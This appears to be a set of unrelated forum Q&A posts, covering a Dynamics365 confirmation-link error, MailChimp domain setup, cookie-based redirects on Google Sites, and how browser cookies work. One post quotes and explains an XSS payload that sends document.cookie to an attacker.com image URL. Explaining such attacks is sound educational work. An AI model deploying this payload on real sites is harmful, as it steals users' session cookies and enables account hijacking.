I'm having trouble with a new contact in Dynamics365 CRM. Our contact received an automated email asking to confirm their mail address, which roughly translated, looks like this:
Hello Jane Doe,
thank you for reaching out to us. Please confirm your e-mail address. This is how we ensure that you have registered yourself and that your e-mail address has not been entered by an unauthorized third party.
Followed by a link looking like this, labelled as "Confirm your e-mail address"
https://qwertyuiop12345678.svc.dynamics.com/t/t/ASDFGHJKLyxcvbnm
The generated URL redirects to another address, which only displays an error message:
(https://contoso.microsoftcrmportals.com/danke-infotermin-email?msdynttrid=QWERTZUIOP78965432)
We're sorry, but something went wrong. Please try again, and if this persists, contact the website administrator.
Error ID # [xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx]
We've been notified about this issue and we'll take a look at it shortly. Thank you for your patience.
8/24/2022 1:04:39 PM UTC
EUR xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx
Is there any way to regenerate the invalid link, so our contact can confirm their email address?
I'm having a strange issue, and I'm trying to sort out if MailChimp just doesn't allow what i'm trying to do, or if I'm doing something wrong.
I simply want to point a domain name I purchased via AWS (Route53) towards a landing page I created on MailChimp. When I go into MailChimp to edit my landing page URL, I've successfully verified the custom domain I want to use, but it will ONLY let me point a sub-url to the landing page (e.g. www.mydomain.com/add-something-here); it will not let me just point my .com to the page without the subfolder name.
Any idea why this is? I created an A Record and a www CName Record in my Route53 dashboard - the A record points to the provided MailChimp IP address, CName points to the provided Mailchimp URL. That said, when I then navigate to www.mydomain.com, I get a MailChimp error that says:
It looks like you're trying to reach a page that was built by
Mailchimp but is no longer active. Want to know more about us? Visit
mailchimp.com
Any idea why this is? Or does MailChimp just not give me the option to direct my domain name to the landing page?
I created a Google site page with 5 links on it. Is it possible to create on my site a script or something that stores in a cookie the link on which the user has clicked, and then the next time he will connect to the page, he will be automatically redirected to the link he clicked on ? For information, the user connect to the site with his Google email account.
How can I do that please?
Thank you very much in advance for your help
While it is possible to read cookies and redirect using JavaScript inside a Google Page (using widgets), browsers will not allow you to set cookies for a completely different domain for obvious security reasons.
Related:
How to set a cookie for another domain
Cross-Domain Cookies
What's your favorite cross domain cookie sharing approach?
You could theoretically try and send an AJAX request from the Google Page with a "where should I direct this user to?" and expect a URL or a null.
See:
CORS $.ajax session cookies (access-control-allow-credentials & withCredentials=true)
Cross domain POST request is not sending cookie Ajax Jquery
But overall, your task is not as straightforward as it may seem. The browser will, fortunately, not play along.
Cited from http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt:
As many here probably know, current XSS attacks typically come in two flavors:
1 - Attacker uploads tags to a public bulliten board, blog, or other site that
has an XSS vulnerability and that lots of other users will visit. Attacker normally
harvests site cookies for later user impersonation, but form submits and other attacks
are sometimes utilized. This is what many folks I talk to think XSS is.
Here's an example:
Someone would post the following on evilblog.com that other users would process
<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script>
This would try to pull an image off the attacker's server with the user's evilblog
cookies in the URL.
My Question:
I don't understand the purpose/result of image URL path being written above. Can anyone elaborate more on this?
PS: What does it means for "This would try to pull an image off the attacker's server with the user's evilblog cookies in the URL"
The document.write() simply adds an img-tag to the site and the browser will try to load the image from that URL.
Scripts and Frames are sometimes blocked when they come from a different domain so the XSS attack would fail in this case. Images are usually allowed as many sites display images from a different host anyways so the XSS attack will succeed.
The result is an entry in the attackers log which contains the cookie information and since it usually returns nothing it's interpreted as a broken image so most browsers display nothing and the users don't suspect anything.
The purpose is that an image is automatically retrieved by the browser; in the example the cookie details are set in the querystring to that URL, and so the attacker gets the URL, gets the cookie, and therefor gets the details required for authentication.
Simple. It initiates a request to hostile domain that contains the cookie in the URL of the request.
I wanted to know the interactions of a browser (i.e. Firefox ) and a website.
When I submit my user name and password to the login form, what happens?
I think that website sends me some cookies and authorizes me by checking those cookies.
Is there a standard structure for cookies?
Update:
Also, how I can see the cookies of specific URL sent to my browser if I want to use that cookie?
Understanding Cookies
Cookies are given to a browser by the server. The browser reveals the cookies as applicable only to the domain that provided the cookie in the first place.
The data in the cookie allows the server to continue a conversation, so to speak. Without the cookie, the server considers the browser a first-time visitor.
Have a look at these to know about browser cookies
Understanding Browser cookies
http://internet-security.suite101.com/article.cfm/understanding_computer_browser_cookies
http://www.willmaster.com/library/cookies/understanding-cookies.php
https://web.archive.org/web/1/http://articles.techrepublic%2ecom%2ecom/5100-22_11-6063884.html
Explanation via Pictures
Simple Explanation by Analogy (via a story)
Freddie works at the Government Taxation Office (IRS/HMRC/ATO/CBDT etc). He deals with millions of people who come to see him everyday. And he has a very poor memory.
In a World Without Cookies:
One day a customer walks in to Freddie's customer care desk:
Customer 1: "Good morning Freddie, so did you change my address like I asked you to?"
Freddie: "I'm sorry. I don't remember who you are? Who are you?"
Customer 1: "Dude, I spoke to you last Monday regarding this issue! How could you forget!"
Unfortunately, the HTTP protocol is stateless. There is no way Freddie (the server) can identify different customers (clients) apart from each other. He doesn't remember. He has a very short memory. There is a solution though:
The World WITH Coookies:
The customer walks in to see Freddie (his name is Brian), but this time, the customer gives Freddie his taxation office ID card:
Brian May: "Good morning Freddie, My name is Brian May...so did you change my address like I asked you to?"
Freddie: "ah yes...hmmm......Brian May, Queen, Lead Guitarist, We Will Rock you......very interesting, I have your records here on my back end system.........let me bring up the records pertaining to your address........YES: I did in fact change your address. BTW since you gave me your ID that's all I need, you don't need to tell me your name is Brian May. Just give me your ID and I will be able to see that on my system".
Explanation of Analogy
You can think of a cookie as kinda like an ID card: if you identify yourself to the server, the server will remember who you are and will treat you accordingly:
e.g. it will remember what you've already ordered in your cart so far.
it will remember that you like reading your website in Tamil / Cantonese / Swahili etc.
it can (basically) identify who you are.
In this particular case, it is the Government Taxation Office who issues out the ID cards.
Granted the analogy is a little strained and very simplified but hopefully, it will help you understand and remember the underlying concept.
Usually the cookie contains a session id number. The id number is then connected to session data that is stored on the server. The usual process is then:
Send login form
Server checks username and password
If correct, the username is stored in a session file on the server, along with various other useful information about the user (if it's a site admin, moderator, userid and so on).
The server sends back a cookie containing an id number that identifies the session file
The browser sends the cookie with each request to that server, so the server can open the session file and read the saved data.
Usually the password is not sent more than once (at login in step 1).
It depends, because there are many scenarios and abilities of usage of cookies.
One of scenarios is:
User submits login form.
Website authorizes the user and set cookie visible in website domain with user name, password (i.e. MD5 hashed) and sometimes other information.
Cookie is sent with each request, which allows website to check if request is came from the authorized user.
For more details read Wikipedia article about cookies.
After logging , the request to server is sent. At server side, it checks the visitor's identification against an ID that identifies whether it is a new user or the older one.
If it determines it a new visitor,it then creates a cookie for it and sends it back in its response to browser. Cookie that is generated in response to Server has a name and unique identification is sent back to a user end. AT the user end ,after every visit to the same URL, browser rechecks cookie list and if it has the cookie for the same url , it is sent to server which identifies cookie ID and server shows the related history for this user then .
Cookies are small data packets that the Web Pages load on to the browser for various purposes.
Every time you re-visit a URL, the browser sends back a tiny package of this information back to the server which detects that you've returned to the page.
Cookies are the reasons that keeps you logged into sites so that you don't have to enter ID and password every time you visit the website.
Webmasters can use these cookies for monitoring the activity of Internet users.
Some sites use third-party cookie to track your Web habits for marketing purposes.
I found some information at this site that was really helpful to me and figure it might be of use: Webfundamentals - Cookies. It goes through what a cookie is, how they work, and the headers that are used to send them.
It says in summary that, cookies are pieces of information that are sent in HTTP requests inside the 'Set-Cookie' header from the server to the client/browser, or in the 'cookie' header in the client/browser to the server.
HTTP is stateless, meaning that one request to another has no knowledge of the state of the page you are browsing. Cookies were made to help address this issue, allowing users be 'known' by the site for as long as the cookie is set to be stored. By default cookies are stored until the client is closed, unless specified otherwise.